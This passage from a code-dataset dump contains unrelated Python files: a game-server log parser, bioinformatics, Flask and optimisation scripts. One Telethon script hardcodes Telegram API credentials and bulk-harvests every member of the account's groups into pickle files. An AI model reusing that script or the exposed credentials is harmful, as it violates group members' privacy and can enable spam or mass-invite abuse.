self.game.mapName = o[1]\n elif o[0] == 'g_gametype':\n self.game.gameType = self.defineGameType(o[1])\n elif o[0] == 'fs_game':\n self.game.modName = o[1]\n else:\n setattr(self.game, o[0], o[1])\n\n self.verbose('Current gametype: %s' % self.game.gameType)\n self.game.startRound()\n self.debug('Joining players')\n self.joinPlayers()\n return self.getEvent('EVT_GAME_ROUND_START', self.game)\n\n def OnSay(self, action, data, match=None):\n msg = string.split(data, ' ', 1)\n if not len(msg) == 2:\n return\n else:\n if msg[0] == '-1':\n return\n else:\n client = self.getByCidOrJoinPlayer(msg[0])\n if client:\n self.verbose('Client found: %s' % client.name)\n return self.getEvent('EVT_CLIENT_SAY', msg[1], client)\n self.verbose('No client found')\n return\n\n return\n\n def OnSayteam(self, action, data, match=None):\n msg = string.split(data, ' ', 1)\n if not len(msg) == 2:\n return\n else:\n client = self.getByCidOrJoinPlayer(msg[0])\n if client:\n self.verbose('Client found: %s' % client.name)\n return self.getEvent('EVT_CLIENT_TEAM_SAY', msg[1], client, client.team)\n self.verbose('No client found')\n return\n return\n\n def OnTell(self, action, data, match=None):\n if match is None:\n return\n else:\n cid = match.group('cid')\n client = self.getByCidOrJoinPlayer(cid)\n target = self.getByCidOrJoinPlayer(match.group('tcid'))\n if client and cid != '-1':\n return self.getEvent('EVT_CLIENT_PRIVATE_SAY', match.group('text'), client, target)\n return\n\n def OnDamage(self, action, data, match=None):\n cid = match.group('cid')\n if not -1 < int(cid) < 64:\n cid = '1022'\n victim = self.clients.getByCID(cid)\n if not victim:\n self.debug('No victim')\n return None\n else:\n acid = match.group('acid')\n if not -1 < int(acid) < 64:\n acid = '1022'\n attacker = self.clients.getByCID(acid)\n if not attacker:\n self.debug('No attacker')\n return None\n if attacker.cid == victim.cid == '1022':\n self.debug('world damaging world -> ignoring')\n return None\n weapon = match.group('aweap')\n if not weapon:\n self.debug('No weapon')\n return None\n eventkey = 'EVT_CLIENT_DAMAGE'\n if attacker.cid == victim.cid:\n eventkey = 'EVT_CLIENT_DAMAGE_SELF'\n elif attacker.team != b3.TEAM_UNKNOWN and attacker.team == victim.team and self.game.gameType in TEAM_BASED_GAMETYPES:\n eventkey = 'EVT_CLIENT_DAMAGE_TEAM'\n if not hasattr(victim, 'hitloc'):\n victim.hitloc = 'body'\n damagepoints = float(match.group('damage'))\n return self.getEvent(eventkey, (damagepoints, weapon, victim.hitloc), attacker, victim)\n\n def OnKill(self, action, data, match=None):\n \"\"\"\n 0: MOD_UNKNOWN, Unknown Means od Death, shouldn't occur at all\n 1: MOD_PUMPER, Pumper\n 2: MOD_GAUNTLET, Punchy\n 3: MOD_MACHINEGUN, Nipper\n 4: MOD_GRENADE, Balloony\n 5: MOD_GRENADE_SPLASH, Ballony Splashdamage\n 6: MOD_ROCKET, Betty\n 7: MOD_ROCKET_SPLASH, Betty Splashdamage\n 8: MOD_PLASMA, BubbleG\n 9: MOD_PLASMA_SPLASH, BubbleG Splashdamage\n 10: MOD_RAILGUN, Splasher\n 11: MOD_LIGHTNING, Boaster\n 12: MOD_BFG, Imperius\n 13: MOD_BFG_SPLASH, Imperius Splashdamage\n 14: MOD_KILLERDUCKS, Killerducks\n 15: MOD_WATER, Died in Water\n 16: MOD_SLIME, Died in Slime\n 17: MOD_LAVA, Died in Lava\n 18: MOD_CRUSH, Killed by a Mover\n 19: MOD_TELEFRAG, Killed by a Telefrag\n 20: MOD_FALLING, Died due to falling damage, but there is no falling damage in WoP\n 21: MOD_SUICIDE, Commited Suicide\n 22: MOD_TARGET_LASER, Killed by a laser, which don't exist in WoP\n 23: MOD_TRIGGER_HURT, Killed by a trigger_hurt\n 24: MOD_GRAPPLE, Killed by grapple, not used in WoP\n \"\"\"\n self.debug('OnKill: %s (%s)' % (match.group('aweap'), match.group('data')))\n cid = match.group('cid')\n if not -1 < int(cid) < 64:\n cid = '1022'\n victim = self.clients.getByCID(cid)\n if not victim:\n self.debug('No victim')\n return None\n else:\n acid = match.group('acid')\n if not -1 < int(acid) < 64:\n acid = '1022'\n attacker = self.clients.getByCID(acid)\n if not attacker:\n self.debug('No attacker')\n return None\n if attacker.cid == victim.cid == '1022':\n self.debug('World damaging world -> ignoring')\n return None\n weapon = match.group('aweap')\n if not weapon:\n self.debug('No weapon')\n return None\n eventkey = 'EVT_CLIENT_KILL'\n if attacker.cid == victim.cid:\n eventkey = 'EVT_CLIENT_SUICIDE'\n elif attacker.team != b3.TEAM_UNKNOWN and attacker.team == victim.team and self.game.gameType in TEAM_BASED_GAMETYPES:\n eventkey = 'EVT_CLIENT_KILL_TEAM'\n if not hasattr(victim, 'hitloc'):\n victim.hitloc = 'body'\n victim.state = b3.STATE_DEAD\n return self.getEvent(eventkey, (100, weapon, victim.hitloc), attacker, victim)\n\n def OnItem(self, action, data, match=None):\n cid, item = string.split(data, ' ', 1)\n client = self.getByCidOrJoinPlayer(cid)\n if client:\n return self.getEvent('EVT_CLIENT_ITEM_PICKUP', item, client)\n else:\n return\n\n def OnClientuserinfo(self, action, data, match=None):\n bot = False\n bclient = self.parseUserInfo(data)\n self.verbose('Parsed user info: %s' % bclient)\n if 'cl_guid' not in bclient and 'skill' in bclient:\n self.bot('Bot connecting')\n bclient['ip'] = '0.0.0.0'\n bot = True\n if 'cl_guid' in bclient:\n bclient['guid'] = bclient['cl_guid']\n if bclient:\n client = self.clients.getByCID(bclient['cid'])\n if client:\n for k, v in bclient.iteritems():\n setattr(client, k, v)\n\n else:\n cid = bclient['cid']\n del bclient['cid']\n client = self.clients.newClient(cid, state=b3.STATE_ALIVE, bot=bot, **bclient)\n self.debug('Client is now: %s' % client)\n\n def getLineParts(self, line):\n \"\"\"\n Parse a log line returning extracted tokens.\n :param line: The line to be parsed\n \"\"\"\n line = re.sub(self._lineClear, '', line, 1)\n m = None\n for f in self._lineFormats:\n m = re.match(f, line)\n if m:\n break\n\n if m:\n client = None\n target = None\n return (\n m, m.group('action').lower(), m.group('data').strip(), client, target)\n else:\n self.verbose('Line did not match format: %s' % line)\n return\n\n def parseUserInfo(self, info):\n \"\"\"\n Parse an infostring.\n :param info: The infostring to be parsed.\n \"\"\"\n player_id, info = string.split(info, ' ', 1)\n if info[:1] != '\\\\':\n info = '\\\\' + info\n options = re.findall('\\\\\\\\([^\\\\\\\\]+)\\\\\\\\([^\\\\\\\\]+)', info)\n data = dict()\n for o in options:\n data[o[0]] = o[1]\n\n data['cid'] = player_id\n if 'n' in data:\n data['name'] = data['n']\n t = 0\n if 'team' in data:\n t = data['team']\n elif 't' in data:\n t = data['t']\n data['team'] = self.getTeam(t)\n if 'cl_guid' in data and 'guid' not in data:\n data['guid'] = data['cl_guid']\n return data\n\n def defineGameType(self, gametype_int):\n \"\"\"\n Translate the gametype to a readable format.\n \"\"\"\n gametype = ''\n if gametype_int == GAMETYPE_FFA:\n gametype = 'FFA'\n elif gametype_int == GAMETYPE_1VS1:\n gametype = 'lVSl'\n elif gametype_int == GAMETYPE_SP:\n gametype = 'SP'\n elif gametype_int == GAMETYPE_SYC:\n gametype = 'SYC'\n elif gametype_int == GAMETYPE_LPS:\n gametype = 'LPS'\n elif gametype_int == GAMETYPE_TFFA:\n gametype = 'TFFA'\n elif gametype_int == GAMETYPE_CTL:\n gametype = 'CTL'\n elif gametype_int == GAMETYPE_TSYC:\n gametype = 'TSYC'\n elif gametype_int == GAMETYPE_BB:\n gametype = 'BB'\n return gametype\n\n def joinPlayers(self):\n \"\"\"\n Join all the connected clients.\n \"\"\"\n plist = self.getPlayerList()\n for cid, c in plist.iteritems():\n client = self.clients.getByCID(cid)\n if client:\n self.debug('Joining client: %s' % client.name)\n self.queueEvent(self.getEvent('EVT_CLIENT_JOIN', None, client))\n\n return\n\n def queryClientUserInfoByCid(self, cid):\n \"\"\"\n userinfo 2\n --------\n ip 192.168.10.1\n syc_color 0\n cl_voip 1\n cg_predictItems 1\n sex male\n handicap 100\n team_headmodel padman\n team_model padman\n headmodel padman\n model padman\n snaps 40\n rate 25000\n name PadPlayer\n cl_guid 98E40E6546546546546546546543D572\n teamoverlay 1\n cg_smoothClients 0\n \n : dumpuser 4\n Player 4 is not on the server\n \"\"\"\n if not -1 < int(cid) < 64:\n return None\n else:\n data = self.write('dumpuser %s' % cid)\n if not data:\n return None\n if data.split('\\n')[0] != 'userinfo':\n self.debug('Dumpuser %s returned : %s' % (cid, data))\n self.debug('Client %s probably disconnected but its character is still hanging in game...' % cid)\n return None\n datatransformed = '%s ' % cid\n for line in data.split('\\n'):\n if line.strip() == 'userinfo' or line.strip() == '--------':\n continue\n var = line[:20].strip()\n val = line[20:].strip()\n datatransformed += '\\\\%s\\\\%s' % (var, val)\n\n return datatransformed\n\n def getByCidOrJoinPlayer(self, cid):\n if int(cid) > 63:\n self.debug('A client cid cannot be over 63 ! received : %s' % cid)\n return\n else:\n client = self.clients.getByCID(cid)\n if client is None:\n self.debug('Cannot find client by cid %r' % cid)\n self.debug(repr(self.clients))\n userinfostring = self.queryClientUserInfoByCid(cid)\n if userinfostring:\n self.OnClientuserinfo(None, userinfostring)\n client = self.clients.getByCID(cid)\n return client\n\n def queueEvent(self, event, expire=10):\n \"\"\"\n Queue an event for processing.\n :param event: The event to be enqueued\n :param expire: The amount of seconds after which the event will be discarded\n \"\"\"\n try:\n if DEBUG_EVENTS:\n self.verbose2(event)\n finally:\n return b3.parser.Parser.queueEvent(self, event, expire)\n\n def getNextMap(self):\n pass","sub_path":"pycfiles/b3-1.10.10-py2.7/wop15.py","file_name":"wop15.py","file_ext":"py","file_size_in_byte":16724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"461599662","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 1 07:46:38 2020\r\n\r\n@author: 陈文心\r\n\"\"\"\r\nimport re\r\na=open('Saccharomyces_cerevisiae.R64-1-1.cdna.all.fa')\r\nnewfile=open('mito_gene.fa',\"w\")\r\nf=a.read()\r\nseq_mito=re.findall(r'(>.*?:Mito:[\\d\\D]+?gene:.*\\n[\\d\\D]+?)>',f)\r\nl1=[]\r\nfor gene in seq_mito:\r\n#delete the unnecessary part\r\n simplify_seq_mito=re.sub(r'>.*?(gene:.*? ).*?]',r'\\1',gene)\r\n#delete the '\\n' and '>'\r\n newone=simplify_seq_mito.replace('\\n','')\r\n length=len(newone)-11\r\n a=\">\"+'gene length:'+str(length)+' '+newone+\"\\n\"\r\n l1.append(a)\r\n newfile.write(a)\r\nnewfile.close()\r\nprint(open('mito_gene.fa').read())","sub_path":"Practical8/get_mito_gene.py","file_name":"get_mito_gene.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"233546393","text":"import pickle\n\nfrom telethon import TelegramClient, events, sync\nfrom telethon.tl import functions\nfrom telethon.tl.functions.channels import InviteToChannelRequest\n\napi_id = 3120783\napi_hash = 'a2b170ac2835659a5e8f78e412fe835e'\nclient = TelegramClient('session_name', api_id, api_hash)\nclient.start()\n\nfrom telethon.tl.functions.messages import GetDialogsRequest\nfrom telethon.tl.types import InputPeerEmpty\n\nchats = []\nlast_date = None\nchunk_size = 200\ngroups = []\n\nresult = client(GetDialogsRequest(\n offset_date=last_date,\n offset_id=0,\n offset_peer=InputPeerEmpty(),\n limit=chunk_size,\n hash=0\n))\n\nchats.extend(result.chats)\n\nmegagroups = []\n\nfor chat in chats:\n if hasattr(chat, 'megagroup') and chat.megagroup:\n megagroups.append(chat)\n\n\nprint(megagroups[0])\nfor megag in megagroups:\n # if megag.title == 'تحلیل بازارهای مالی':\n print('Fetching Members...')\n all_participants = []\n all_participants = client.get_participants(megag, aggressive=True)\n\n with open(str(megag.id) + \"__\" + megag.title + \".usrs\", \"wb\") as fp: # Pickling\n pickle.dump(all_participants, fp)\n\n print(len(all_participants))\n","sub_path":"users/chats.py","file_name":"chats.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"322024833","text":"import pymysql\r\nfrom app import app\r\nfrom config import mysql\r\nfrom flask import jsonify\r\nfrom flask import request\r\n\r\n@app.route('/api/v1/favorite_shop', methods=['POST'])\r\ndef create_favorite():\r\n try:\r\n _json = request.json\r\n _shopId = _json['shop_id']\r\n _userId = _json['user_id']\r\n\r\n sqlQuery = \"INSERT INTO fav_shop(shop_id, user_id) VALUES(%s, %s)\"\r\n data = (_shopId, _userId)\r\n conn = mysql.connect()\r\n cursor = conn.cursor()\r\n cursor.execute(sqlQuery, data)\r\n conn.commit()\r\n res = jsonify({\r\n \"id\":cursor.lastrowid,\r\n \"shop_id\":_shopId,\r\n \"user_id\":_userId\r\n })\r\n res.status_code = 200\r\n return res\r\n except Exception as e:\r\n print(e)\r\n\r\n@app.route('/api/v1/favorite_shop/', methods=['GET'])\r\ndef favorite_shop(FavShopId):\r\n try:\r\n conn = mysql.connect()\r\n cursor = conn.cursor(pymysql.cursors.DictCursor)\r\n cursor.execute(\"SELECT * FROM fav_shop WHERE id=%s\", FavShopId)\r\n row = cursor.fetchone()\r\n res = jsonify(row)\r\n res.status_code = 200\r\n return res\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\n@app.route('/api/v1/favorite_shops/', methods=['GET'])\r\ndef favorite_shops(userId):\r\n try:\r\n conn = mysql.connect()\r\n cursor = conn.cursor(pymysql.cursors.DictCursor)\r\n cursor.execute(\"SELECT * FROM fav_shop WHERE user_id=%s\", userId)\r\n rows = cursor.fetchall()\r\n res = jsonify(rows)\r\n res.status_code = 200\r\n return res\r\n except Exception as e:\r\n print(e)\r\n\r\n@app.route('/api/v1/favorite_shop', methods=['PUT'])\r\ndef update_fav_shop():\r\n try:\r\n _json = request.json\r\n _FavShopId = _json['id']\r\n _shopId = _json['shop_id']\r\n _userId = _json['user_id']\r\n\r\n sql = \"UPDATE fav_shop SET shop_id=%s, user_id=%s WHERE id=%s\"\r\n data = (_shopId, _userId, _FavShopId)\r\n conn = mysql.connect()\r\n cursor = conn.cursor()\r\n cursor.execute(sql, data)\r\n conn.commit()\r\n res = jsonify({\r\n \"id\": _FavShopId,\r\n \"shop_id\": _shopId,\r\n \"user_id\": _userId\r\n })\r\n res.status_code = 200\r\n return res\r\n except Exception as e:\r\n print(e)\r\n\r\n@app.route('/api/v1/favorite_shop/', methods=['DELETE'])\r\ndef delete_fav_shop(FavShopId):\r\n try:\r\n conn = mysql.connect()\r\n cursor = conn.cursor()\r\n cursor.execute(\"DELETE FROM fav_shop WHERE id=%s\", (FavShopId))\r\n conn.commit()\r\n res = jsonify('Favorite shop deleted successfully.')\r\n res.status_code = 200\r\n return res\r\n except Exception as e:\r\n print(e)\r\n\r\nif __name__ == \"__main__\":\r\n app.run()","sub_path":"cloud_project/backend/FavoritesMicroservice/FavoriteMicroservice.py","file_name":"FavoriteMicroservice.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"210777375","text":"import csv\nimport numpy as np\nfrom scipy import stats\n\nif __name__ == '__main__':\n ids = np.genfromtxt('81086.csv', delimiter=',')[1:,0]\n # pred1 = np.genfromtxt('70507.csv', delimiter=',')[1:,1]\n # pred1 = pred1.reshape(1, pred1.shape[0]).astype(int)\n # pred2 = np.genfromtxt('p_test.csv', delimiter=',')[1:,1]\n # pred2 = pred2.reshape(1, pred2.shape[0]).astype(int)\n pred3 = np.genfromtxt('81086.csv', delimiter=',')[1:,1]\n pred3 = pred3.reshape(1, pred3.shape[0]).astype(int)\n pred4 = np.genfromtxt('75869.csv', delimiter=',')[1:,1]\n pred4 = pred4.reshape(1, pred4.shape[0]).astype(int)\n pred5 = np.genfromtxt('yifan_72.csv', delimiter=',')[1:,1]\n pred5 = pred5.reshape(1, pred5.shape[0]).astype(int)\n pred6 = np.genfromtxt('yifan_76.csv', delimiter=',')[1:,1]\n pred6 = pred6.reshape(1, pred6.shape[0]).astype(int)\n pred = np.vstack((pred3, pred4, pred5, pred6))\n combined, _ = stats.mode(pred)\n combined = combined.flatten()\n\n with open('vote.csv', \"w\", newline='') as f:\n file = csv.writer(f, delimiter=',')\n file.writerow([\"Id\", \"Category\"])\n for i, c in enumerate(combined):\n file.writerow([ids[i], c])\n","sub_path":"hw2p2/majority.py","file_name":"majority.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"233767921","text":"#!/usr/bin/env python\n\n# to be used with 'calculateQCDfakerate.py' script\n\n# it will calculate and print the lepton isolation fake-rates for QCD for 3 cases:\n# 1: MC in the analysis region\n# 2: MC in the control region\n# 3: data in the control region\n\n# it will do this for both electrons and muons, and multiply the two to get an event fake-rate\n\n#finally, it will calculate directly the event fake-rate using the 2D isolation histogram for the MC in the analysis region\n\n\n# 1: MC in the analysis region\nanalysis_condor_dir = \"AUG28__QCD_PRESELECTIONS\"\nanalysis_channel = \"Preselection_NoIso\"\nanalysis_dataset = \"QCD_MuEnriched\"\n\n# 2 & 3: MC & data in the control region\ncontrol_electron_condor_dir = \"FULL_ANALYSIS_AUG14__QCD_ELECTRON_CONTROL_REGION\"\ncontrol_electron_channel = \"QCD_Electron_ControlRegion\"\ncontrol_MC_electron_dataset = \"QCD_ElectronEnriched\"\ncontrol_data_electron_dataset = \"DoubleElectron_22Jan2013\"\n#-----------------------------\ncontrol_muon_condor_dir = \"FULL_ANALYSIS_AUG14__QCD_MUON_CONTROL_REGION\"\ncontrol_muon_channel = \"QCD_Muon_ControlRegion\"\ncontrol_MC_muon_dataset = \"QCD_MuEnriched\"\ncontrol_data_muon_dataset = \"DoubleMu_22Jan2013\"\n\n# histogram names for the isolation variables\nelectron_iso_histogram = \"electronPFrhoIso\"\nmuon_iso_histogram = \"muonPFdBetaIso\"\nelectron_muon_iso_histogram = \"electronPFrhoIsoVsMuonPFdBetaIso\"\n\n# value below which a lepton is considered isolated\nelectron_iso_threshold = 0.1\nmuon_iso_threshold = 0.12\n\n# values for anti-isolated box\nelectron_iso_minimum = 0.2\nelectron_iso_maximum = 1\nmuon_iso_minimum = 0.24\nmuon_iso_maximum = 1.5\n\n\n","sub_path":"BackgroundStudies/test/qcdRatioCalculatorSampleConfig.py","file_name":"qcdRatioCalculatorSampleConfig.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"121710244","text":"from pathlib import Path\n\nfrom bindsnet import (\n utils,\n network,\n analysis,\n preprocessing,\n datasets,\n encoding,\n pipeline,\n learning,\n evaluation,\n environment,\n conversion,\n)\n\nfrom . import (\n network,\n models\n)\n\nROOT_DIR = Path(__file__).parents[0].parents[0]\n","sub_path":"bindsnet_bad_zeros/bindsnet_bad_zeros/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"340512447","text":"# Author : OV Shashank\r\n# Date : 04-11-2016\r\n# Title : Serial Bootloader for IITB-RISC\r\n# Description : Reads as an input an assembly file\r\n# (details of which can be found in the assembler folder)\r\n# and send it to the user chosen computer port to be \r\n# sent to the De0-Nano Board Programmed with the IITB-RISC Code\r\n\r\nimport serial\r\nimport serial.tools.list_ports\r\nimport assembler\r\n\r\nports = serial.tools.list_ports.comports();\r\nif(len(ports) == 0):\r\n raise Exception(\"No COM Ports Found. Ensure that a device is connected!\")\r\nprint(\"Available COM Ports:\\nIndex\\tPort\\n\");\r\nfor i in range(len(ports)):\r\n print(i,\"\\t\",ports[i],\"\\n\");\r\nindex = input(\"Select the port you wish to use(enter the index): \")\r\nindex = int(index)\r\nif((index < 0) or (index >= len(ports))):\r\n raise Exception(\"Invalid choice of COM Port\");\r\n\r\ndump_port = serial.Serial(ports[index][0],9600,8,serial.PARITY_NONE,serial.STOPBITS_TWO)\r\nprint(\"Succesfully opened specified COM Port containing \",ports[index][1])\r\nfile_name = input(\"Enter assembly file name: \");\r\ndata = assembler.assemble(file_name)\r\n\r\nfor i in data:\r\n dump_port.write(bytes([i]))\r\nfile.close()\r\ndump_port.close()\r\n","sub_path":"Mutlicycle_IITB-RISC/Submission/Codes/Bootloader/Bootloader_Software/serial_boot.py","file_name":"serial_boot.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"107555331","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n#loading image in greyscale\nimg = cv2.imread('example_image2.jpg',1)\n\n#getting edges\n#thresholds for gradient edge intensity\nminVal = 100 \nmaxVal = 300 \nedges = cv2.Canny(img,minVal,maxVal,L2gradient = True)\n\ndef probabillistic_Hough():\n minLineLength = 3\n maxLineGap = 5\n lines = cv2.HoughLinesP(edges,2,np.pi/180,30,minLineLength,maxLineGap)\n for line in lines:\n for x1,y1,x2,y2 in line:\n cv2.line(img,(x1,y1),(x2,y2),(0,255,0),2)\n\ndef standart_Hough():\n #Calculating lines using PPHT\n lines = cv2.HoughLines(edges,2,np.pi/45,50)\n for line in lines:\n for rho,theta in line:\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),2)\n\nprobabillistic_Hough()\n\n#Plotting Original x Edges comparison\nplt.subplot(121),plt.imshow(img,cmap='gray')\nplt.title('Original'), plt.xticks([]), plt.yticks([])\nplt.subplot(122),plt.imshow(edges,cmap='gray')\nplt.title('Edges'), plt.xticks([]), plt.yticks([])\nplt.show()\n\n\n\n\n\n\n\n\n\n","sub_path":"challenge1/bd_line_visualization.py","file_name":"bd_line_visualization.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"83168762","text":"# Задача-1:\n# Напишите скрипт, создающий директории dir_1 - dir_9 в папке,\n# из которой запущен данный скрипт.\n# И второй скрипт, удаляющий эти папки.\n\nimport os\nimport shutil\n\n\n# Создание папок вида dir_n\n\ndef folderNumCreator(n):\n for i in range(0, n):\n try:\n os.mkdir(os.path.join(os.getcwd(), 'dir_{}'.format(i)))\n print('Folder dir_{} created.'.format(i))\n except FileExistsError:\n print('Folder dir_{} already exists!'.format(i))\n continue\n\n\n# Удаление n-папок вида dir_n от меньшего имени\n\ndef folderNumDeleter(n):\n for i in range(0, n):\n try:\n shutil.rmtree(os.path.join(os.getcwd(), 'dir_{}'.format(i)))\n except NameError:\n print('Folder dir_{} does not exist!.'.format(i))\n\n\n# Удаление папки\n\ndef specFolderDeleter():\n path = str(input('WARNING! This will delete even non-empty folder! Enter dir: '))\n try:\n shutil.rmtree(os.path.join(os.getcwd(), '{}'.format(path)))\n print('Folder \"{}\" deleted!'.format(path))\n except FileNotFoundError as err:\n print(err)\n\n\n# Создание папки\n\ndef specFolderCreator():\n name = str(input('Enter folder name: '))\n try:\n os.mkdir(name)\n print('Folder \"{}\" created'.format(name))\n except FileExistsError as err:\n print(err)\n\n\n# Задача-2:\n# Напишите скрипт, отображающий папки текущей директории.\n\ndef listFolders():\n dir_list = next(os.walk('.'))[1]\n print(dir_list)\n\n\n# Задача-3:\n# Напишите скрипт, создающий копию файла, из которого запущен данный скрипт.\n\ndef copyCurrentFile():\n new = __file__ + '.copy.py'\n shutil.copy2(os.path.abspath(__file__), new)\n print('File copied: ' + os.path.abspath(__file__), new)\n\n\n# -----------------------------------------------------------------------------\n# Export:\n\ndef pathChanger():\n path = str(input('Enter path: '))\n try:\n os.chdir(path)\n print('Changed dir to: ' + os.getcwd())\n except FileNotFoundError:\n print('Dir \"{}\" not found!'.format(path))\n\n\ndef helpCall():\n print('\"cd\" - change directory: or if folder is in current dir')\n print('\"li\" - display folders in current directory')\n print('\"df\" - delete folder')\n print('\"cf\" - create folder')\n print('\"help\" - available commands')\n print('\"q\" - exit')\n","sub_path":"lesson05/home_work/hw05_easy.py","file_name":"hw05_easy.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"83383002","text":"\"\"\"\n\"\"\"\n\nimport os\nimport glob\n\nimport numpy as np\nimport h5py\n\nimport illustris_python as ill\n\n\ndef get_num_snaps(arepo_output_dir):\n # Get number of snapshots\n pattern = os.path.join(arepo_output_dir, \"snapdir_*\")\n snap_fnames = sorted(glob.glob(pattern))\n if len(snap_fnames) < 1:\n print(\"Pattern: '{}'\".format(pattern))\n print(\"Directory contents: \", os.listdir(arepo_output_dir))\n raise RuntimeError(\"No snapshot directories found!\")\n\n num_snaps = len(snap_fnames)\n return num_snaps\n\n\ndef load_snapshot_redshifts(arepo_output_dir):\n fname = os.path.join(arepo_output_dir, os.path.pardir, \"output_list.txt\")\n\n num_snaps = get_num_snaps(arepo_output_dir)\n redshifts = []\n for snap in range(num_snaps):\n with h5py.File(ill.groupcat.gcPath(arepo_output_dir, snap), 'r') as ff:\n header = dict(ff['Header'].attrs.items())\n redz = np.float(header['Redshift'])\n redshifts.append(redz) \n\n return redshifts\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"403018358","text":"import numpy as np\nimport math\nimport collections\n'''\ndef graus(self):\n maior = [0, 0]\n menor = [0, 10000]\n soma = 0\n distribuicao = [0 for n in range(self.nVertices)]\n frequencia = []\n for i in range(self.nVertices):\n \n aux = 0\n distribuicao[len(self.grafo[i])] = distribuicao[len(self.grafo[i])] + 1\n if maior[1] < len(self.grafo[i]):\n maior[0] = i\n maior[1] = len(self.grafo[i])\n elif menor[1] > len(self.grafo[i]):\n menor[0] = i\n menor[1] = len(self.grafo[i])\n soma = soma + len(self.grafo[i])\n for i in range(self.nVertices):\n if distribuicao[i] != 0:\n frequencia.append((i, distribuicao[i] / self.nVertices))\n media = float(soma) / float(5)\n return (maior, menor, media, frequencia)\n\n#componentes conexas\nef conexidade(self):\n componente = [1 for i in range(self.nVertices)]\n t = []\n n = 0\n for i in range(self.nVertices):\n bit = 0\n if componente[i] != 0:\n busca = self.busca_peso(componente, i)\n t.append(len(busca))\n n = n + 1\n for j in range(self.nVertices):\n if componente[j] == 0:\n bit = bit + 1\n if bit == self.nVertices:\n return (n, t)\n'''\n\n\n\n# Caso arquivo não exita ele é criado, somente leitura utilizar a (fazer try catch)\nnome=input(\"Informe o nome é o formato do arquivo: \")\nfile = open(nome,'r')\n\n#lendo a primeira linha\nheader = file.readline()\ninfo = header.replace(\"\\n\", \"\").split(\" \")\n#salvando nvertices e narestas\nnVertices = int(info[0])\nnArestas = int(info[1])\n#criando matriz de zeros\nmatriz = np.zeros((nVertices,nVertices))\n#criando lista de zeros\nlista=[[] for _ in range(nVertices)]\n#inicializando maior e menor valor \ncont=0\naux=0\nultimo=-1\nmaior=-1\n\ncont2=0\naux2=0\nultimo2=-1\nmenor=-1\nmedio=0\nfor line in (file):\n # recuperando dados do arquivo (origem, destino e peso)\n info = line.split(\" \")\n origem = int(info[0])\n destino = int(info[1])\n peso = int(info[2])\n # criar matriz de adjacencias\n matriz[origem][destino] = peso\n matriz[destino][origem] = peso\n # criando lisa de adjacencias\n lista[origem].append((destino,peso))\n lista[destino].append((origem,peso))\n #maior e menor grau\n #c=(collections.Counter(info[0]))\n if info[0]==ultimo:\n cont+=1\n aux+=1\n else:\n if cont>=aux:\n maior=info[0]\n aux+=1\n ultimo=info[0]\n cont=0\n #menor grau\n if info[0]==ultimo2:\n cont2+=1\n aux2+=1\n else:\n if cont2 \")\n exit(1)\n\nfile2find = sys.argv[1] #input('Enter name of file to find')\nstartingDir = sys.argv[2] # input('Enter name of starting directory')\n\nprint('Searching for ', file2find, ' in ', startingDir)\n\nfindFile(file2find, startingDir)","sub_path":"examples/recursion/findfile.py","file_name":"findfile.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"459841076","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPrograma para otimização do uso de água do Rio Splash\n\nCreated on Wed Oct 18 17:33:45 2017\n\n@author: Daniel Marçal de Queiroz\n\"\"\"\nfrom scipy import optimize as opt\nfrom math import fabs\nimport numpy as np\nL=lambda q:-(2.9*q[0]+1.14*q[1]+1.6*q[2]+1.0*q[3])\nM=lambda q:1.8E6-1.1*(q[0]+q[1])-1.4*(q[2]+q[3])\nT1=lambda q:q[0]+q[1]-0.3E6\nT2=lambda q:q[2]+q[3]-0.2E6\nVD=lambda q:0.7*2.0E6-q[0]-q[1]-q[2]-q[3]\nPL=lambda q:0.4*(q[0]+q[1]+q[2]+q[3])-fabs(q[0]+q[1]-q[2]-q[3])\nbnds=((0,np.inf),(0,np.inf),(0,np.inf),(0,np.inf))\ncon1={\"fun\": M, \"type\": \"ineq\"}\ncon2={\"fun\": T1, \"type\": \"ineq\"}\ncon3={\"fun\": T2, \"type\": \"ineq\"}\ncon4={\"fun\": VD, \"type\": \"ineq\"}\ncon5={\"fun\": PL, \"type\": \"ineq\"}\nq0=[0.5E6,0.5E6,0.5E6,0.5E6]\nres=opt.minimize(L,q0,bounds=bnds,constraints=(con1,con2,con3,con4,con5))\nprint(\"\\n\\nPrograma para otimização da quantidade de água desviada do rio 